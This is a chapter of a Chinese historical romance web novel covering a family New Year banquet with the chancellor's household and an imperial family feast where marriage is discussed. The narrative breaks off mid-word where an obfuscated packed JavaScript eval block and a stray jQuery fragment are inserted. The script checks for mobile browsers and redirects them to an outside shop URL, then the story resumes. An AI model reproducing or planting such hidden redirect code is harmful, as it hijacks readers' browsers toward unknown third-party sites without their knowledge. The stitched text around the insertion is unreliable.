屋外一阵喧闹声响起,李媚姝揉揉眼睛,极不情愿地坐了起来,千红很快便准备好了洗漱的器具。

    将一支金丝云雀珠钗插入发髻之中,李媚姝从罐中拿了些润手的玉膏,就见千红捧着一件心意走进,样式正是此前送去云记锦铺的那一块布料。

    “小姐,锦铺的人将衣服送来了。”

    “这么快!云娘还真是厉害。”快速将手上的玉膏擦好,李媚姝将衣服捧起来一看,果见上面星星点点的梨花栩栩如生,在素白的布料上熠熠生辉,让她迫不及待地将衣服换上。

    “怎么样怎么样,好不好看?”李媚姝兴高采烈地在千红面前转动着身子,衣摆轻轻飘起,宛若清风送雪般柔美。

    “好看好看,小姐穿上就好像天上的仙女一样好看。”

    千红拍着手称赞,李媚姝自然也受用得很,快步到镜子前将原先的金钗摘下,欲换上更为合适的饰品。

    面对着身前琳琅满目的饰品,李媚姝半晌也没能选出一件合适的,一旁的千红还在努力的翻找,就在李媚姝叹出一口气的时候,千红大叫道:

    “小姐,这里还有一个盒子!”

    李媚姝心中大喜,赶忙接过她手中的盒子,却在打开盒子看到里面的东西是倏然顿住。

    一支金制牡丹镶珠步摇,一只通身墨绿的玉佩,是之前赵驰昭送给自己的东西。

    将那枚玉佩轻轻拿起,手指拂过那光滑的玉身,李媚姝脑中不由自主地浮现当时赵驰昭送给自己这枚玉佩的场景:

    当时还不知道那短刃的含义,难怪盛天维在看到她身上带着的时候那般震惊,还有赵驰昭送给自己的时候那样古怪的神情,那种自心中透露出来的欣喜,她竟然没有意识到。

    不知什么时候,李媚姝脸上浮现起一抹淡淡的笑意。

    不过,她在之前就在盛天维面前极力辩解的时候,曾说过他是自己很重要的人,想来那时候的她,已然对他心动了吧。

    脸上悄悄爬过两抹绯红,却突然猛地回过神来,抬眼便看到千红一脸茫然的盯着自己,有些不自然地道:

    “就戴这个玉佩吧,再选个淡黄的花钿,嗯。”

    李媚姝缓缓转过身去面对着镜子,假装在首饰盒里翻找,以此掩饰自己那渐渐变的通红的脸。

    下人们忙忙碌碌,忙着挂桃符,贴门神,钟馗的帖子,清扫府中卫生,挂灯笼制备吃食等等,偌大的一个府,自然忙的不可开交,孙氏与两个姨娘有条不紊的指挥着,也算是井然有序。

    李家有五个儿女,大哥李阳尚在宫中,二哥李长青也在太医院未曾休沐,大姐李瑛霞和五弟李仁也远在常州,所以陪伴李老太太这件事,自然就落在了李媚姝头上。

    拜过孙氏和两个姨娘之后,李媚姝便往李老太太的院中走去,一路上都是忙碌的下人,好似只有她得了清闲,所以不由得加快了脚步。

    李老太太再有五年便是古稀之年,但胜在身体健朗,平日里最喜礼佛诵经,前些时日才去了流水道观,今个又要去大佛寺,临近晌午之际才结束。

    本朝崇尚在午时举宴,所以李媚姝等人的马车到了东山酒楼时,楼下的马车已欲把此地围得水泄不通,是要挤进人群中才能进酒楼之内。

    小厮卓有成效的将众人领到酒楼的雅间内,作为一家的长辈,两家的老太太自然是坐在上首,往下的左边依次是柳义忠,柳夫人谢氏,柳崇瑾以及柳思温,李家也是一样。

    李媚姝曾见过柳崇瑾与柳思温二人,但柳家的三个长辈却是头一回见。

    谢氏是杭州人士,与孙氏一样都带着一副水乡女子的柔情,故二人见面之后也是十分热情地相互攀谈着。李媚姝见谢氏一副温柔模样,心底便松懈了几分,但转头看到柳义忠时,又开始有些莫名的紧张。

    与李缚的柔情和睦不同,柳义忠横眉冷眼,嘴角微微向下,一身深色衣袍更是将其周围的气场压低,带着不怒自威的气场,让人不自觉低下头,不敢直视他的眼睛。

    所幸很快落座,李媚姝坐在最后一个位置,也不太能看到他的表情,但作为一朝的丞相,身上自带的威压感也是很正常的事情。

    李媚姝这么想着,抬眼便看到对面的柳思温正以一种打量的方式看着自己,她下意识回了一个礼貌性的微笑,谁知对方根本不领自己的情,反倒是翻了一个白眼,浑身上下透着轻蔑。

    李媚姝不明所以,便不去看她。柳思温见她不看自己,脸色倏然沉了下来,拧紧秀眉。

    作为丞相之女,京中多少女眷都上赶着巴结自己,加上她本身长得又很清秀,深受各家公子的喜爱,被李媚姝这么一冷落,心中顿时涌上一股怒火,顿时恼怒起来,冷冷说道:

    “还以为此生没有福分见到李小姐了,听闻你病已经痊愈,怎的脸色如此苍白,快给李小姐倒杯热茶暖暖身子,这可是陈年的老白茶,性温,不必担忧。”

    虽是关心的话语,但语气中的讥讽与不屑任凭谁都能听得出来,一旁的柳崇瑾更是瞪了她一眼,示意她莫要多言。而见到自家哥哥帮着外人而不帮自己的时候,柳思温心中的怒火更甚,便狠狠地瞪了李媚姝一眼。

    李媚姝知道柳思温对自己抱有敌意,,兴许是她一身颜色浅淡的衣服在透光的时候脸上便显得有几分苍白,让她误会了,但她并未打算解释,所以没有做过多回应,只是轻声地谢过便低着头不语,思考着怎么能够有惊无险的度过这一次聚会。

    见李媚姝脸上没有什么反应,柳思温的脸色更加难看起来,小时候因为柳崇瑾与李长青曾在一家书院念书,固然会与李家走动,然他在见过李媚姝之后去到李府的次数便开始多了起来,回到家又与柳思温感慨着李媚姝有多漂亮,咳嗽的样子是那般柔弱,自己是多想守在她身边保护她。

    自小众星捧月习惯了的柳思温哪里听得了对别人的夸赞,尤其是自家哥哥的夸赞,便很想见见这位传说中的病美人,但唯一的一次见面,她就将李媚姝气晕了。回到家还第一次遭到哥哥柳崇瑾的责骂,便愈加记恨起她来,所以她方才一拳打在棉花上,让她十分的郁闷,当即就挂了脸。

    柳崇瑾无奈地看着自家妹妹发脾气,还是在一众长辈面前,虽有心训斥也不好开口,只得讪讪地朝李媚姝一笑,说道:

    “媚儿妹妹见谅,思温也是担心你,妹妹看上去脸色确实不太好,最近是太劳累了吗?此前曾听万小姐说你画技极佳,是不是为此劳累了?”

    李媚姝面上笑着回应,心底却是默默地翻了个白眼,自己送万晴岚那般名贵的菊花,却在这里装模作样。

    柳崇瑾笑着回应,不再与她多言,转头就与李长青交谈起来,但还是在语尽之前瞥了一眼千红。

    一场宴席过后,已是申时一刻,谢氏便邀请孙氏去斗茶,原本作为女眷之一的李媚姝自然也要去,正绞尽脑

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17739164|204243||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    汁的想着怎么拒绝,柳思温却在一旁冷冷说道:

    “斗茶是女眷们饭后饮茶的活动,李小姐身子骨弱,怕不是到时候喝到什么性寒的茶吗,回去之后晕倒了怎么办,毕竟她可是随便几句话便会晕倒的人。”

    知道自己女儿是对幼时之事耿耿于怀,但谢氏还是担忧的看了一眼李媚姝,有些犹豫。正巧没有拒绝的理由,偏偏柳思温还替她解了围,李媚姝心中欣喜不已,但仍是装出一副遗憾的模样,毕竟丞相夫人的面子,该给还是得给的。

    借口送李老太太回去,李媚姝朝着谢氏道了歉,便要抬脚与李老太太一起离开,谁知还未起身,就听身后柳崇瑾说道:

    “那不如我也送送媚儿妹妹吧,这大过年的街上行人往来,也好有个照应。”

    李媚姝身子一僵,就听李长青笑道:

    “你这个人啊,倒是把我这个做亲哥哥的比下去了。”

    “总是这般笑话我,你这么忙,还要到太医院去吧,就不劳李医士挂心了。”

    过年太医院自然休沐,但李长青只是一个小小的医士,所以便要轮流值守太医院,因为生病可不分时候,贵人唤你一声,该去自然还是得去的。

    李长青谢过他之后,便向长辈请辞,李媚姝见无法摆脱,便也只能朝他道谢。

    一路上柳崇瑾都是骑马跟在马车旁边,虽然与李媚姝没有交流,但京城的人都看到了骑在一旁的他,这下算是证实了两家有交集,李媚姝纵然有心摆脱,但也是无能为力,反倒还得感恩他的好,不得不感叹他的伎俩。

    京城内喧闹的气氛正浓,皇城之内自然也是推杯换盏,一派热闹的景象。

    自皇后逝世后,便由万贵妃执掌后宫,虽然此时宫内美人无数,但除了万贵妃的妃位最高之外,剩下的也就二公主赵芝英的生母德妃和三皇子赵文,五公主赵玉莲的生母贤妃位于四妃之中了。

    宴会上,赵元宗也难得放下那一副严肃的模样,像寻常百姓一般同儿女们欢笑宴饮,而在这样的家宴上,自然就离不开对婚嫁一事的讨论。

    因在六个皇嗣之中,唯有二公主一人寻了驸马,其他五人皆是未婚的状态,而身为太子的赵祺,便是首当被点名的一位。

    “太子,你身为长子,理应带头,怎得连你也未曾婚配?”,赵元宗不知喝了多少杯,语气中俨然带着醉意。

    赵祺闻言只得无奈一笑,自己这些年来为了稳住自己的太子之位,在朝中扩建自己的势力地同时也要提防贵妃一党,还时不时地处理各州事务,刺杀都不知道经历了多少次,自己都保不住的人,又能护得住谁?

    万贵妃坐在一旁,想开口说自己儿子赵鸿也未曾婚配,却又听赵元宗说道:

    “老六也是,你也到了年纪了,怎么在宫外那么多年,未曾遇到过心仪的姑娘吗?你们都说出来,朕给你们赐婚。”

    赵元宗摇头晃脑地说着,全然没看到身后万贵妃黑着一张脸,赵驰昭听着他的话,脑中闪过一道身影,便不自觉地扬起嘴角,却只是一瞬,便又恢复那张面无表情的模样,恭敬地开口:

    “父皇,您醉了。”

    微风卷过吹起四周的帷幔,一场宴席过后,赵元宗与赵鸿皆醉的不省人事,万贵妃嫌恶地瞪了自己儿子一眼,万般无奈地让人将其带了下去,其余的人也皆回到了自己的寝殿。赵驰昭不愿留在宫中,便想要离开,却被身后的太子叫住。